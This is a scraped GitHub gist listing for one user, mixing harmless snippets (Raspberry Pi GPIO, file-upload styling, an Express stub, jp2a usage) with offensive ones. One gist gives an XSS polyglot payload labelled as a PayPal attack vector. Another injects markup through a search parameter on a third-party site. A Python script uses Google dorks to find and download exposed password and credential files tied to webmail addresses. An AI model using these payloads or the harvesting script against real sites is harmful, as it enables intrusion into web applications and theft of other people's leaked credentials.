Skip to content

Instantly share code, notes, and snippets.

View 0xPr0xy's full-sized avatar
🎯
Focusing

Peter IJlst 0xPr0xy

🎯
Focusing
View GitHub Profile
from time import sleep
#print GPIO.RPI_REVISION 2
#print GPIO.VERSION 0.4.1a
output_channel1 = 16
output_channel2 = 18
GPIO.setmode(GPIO.BOARD)
GPIO.setup(output_channel1,GPIO.OUT)
@0xPr0xy
0xPr0xy / FF paypal attack vector.js
Last active December 17, 2015 18:59
FF paypal attack vector
// FF paypal attack vector
// https://www.paypal.com/de/cgi-bin/searchscr?cmd=_sitewide-search
';alert(String.fromCharCode(48,120,80,114,48,120,121,32,119,97,115,32,104,101,114,101))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(48,120,80,114,48,120,121,32,119,97,115,32,104,101,114,101))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(48,120,80,114,48,120,121,32,119,97,115,32,104,101,114,101))</SCRIPT><!--
@0xPr0xy
0xPr0xy / raspberry_gpio.py
Last active December 16, 2015 22:09
power a led connected to pin 26 and ground with a button connected to pin 3 and ground
#!/usr/bin/env python
import RPi.GPIO as GPIO
#print GPIO.RPI_REVISION 2
#print GPIO.VERSION 0.4.1a
input_channel = 16
output_channel = 18
var express = require('express');
var app = express();
var port = process.env.PORT || 5000;
var request = require('request');
var zlib = require('zlib');
<!DOCTYPE html>
<html>
<head>
<script>
function myLoadHandler(evt)
{
if (evt.persisted) {
alert('user returns to page from another tab');
return;
}
@0xPr0xy
0xPr0xy / workaround_form.html
Created November 12, 2012 17:47
with hack to prevent the fakepath :D
<html>
<head>
<style>
#file{
display:none;
}
</style>
</head>
<body>
<div id="file"><img src="http://www.geeksquad.nl/client/geeksquad/images/geek-squad-logo.png"/></div>
@0xPr0xy
0xPr0xy / fileupload.html
Created November 12, 2012 17:40
File Upload field without button, only text
<html>
<head>
<style>
#file{
display:none;
}
</style>
</head>
<body>
<div id="file">Choose File</div>
@0xPr0xy
0xPr0xy / google-search.py
Created August 21, 2012 16:28
google-search
from google import search
import requests
for url in search("inurl:\"passes\" OR inurl:\"passwords\" OR inurl:\"credentials\" -search -download -techsupt -git -games -gz -bypass -exe filetype:txt @yahoo.com OR @gmail OR @hotmail OR @rediff", stop=20):
try:
filename = url.split('/')[-1]
print 'writing %s...' %filename
r = requests.get(url)
with open('%s' % filename, 'wb') as code:
code.write(r.content)
@0xPr0xy
0xPr0xy / jp2a
Created August 8, 2012 09:17
jp2a
#plain simple viewing
port install jp2a
jp2a path-to-image.jpg --term-width
#for view with animation
git clone https://github.com/jtwaleson/decrypt/
cd decrypt/
jp2a path-to-image.jpg --term-width | ./decrypt.py
@0xPr0xy
0xPr0xy / xss
Created August 7, 2012 19:43
xss
<fb:like
href="http://www.url.com/Zoek?searchphrase=all&searchword=''"><h1>No Tag Escape? - 0xPr0xy</h1><br/><IMG SRC=http://infosecindia.com/wp-content/uploads/2011/06/hacker.jpg>"
layout="button_count"
show_faces="false"
width="100"
colorscheme="light" send="false" action="like" font="arial">
</fb:like>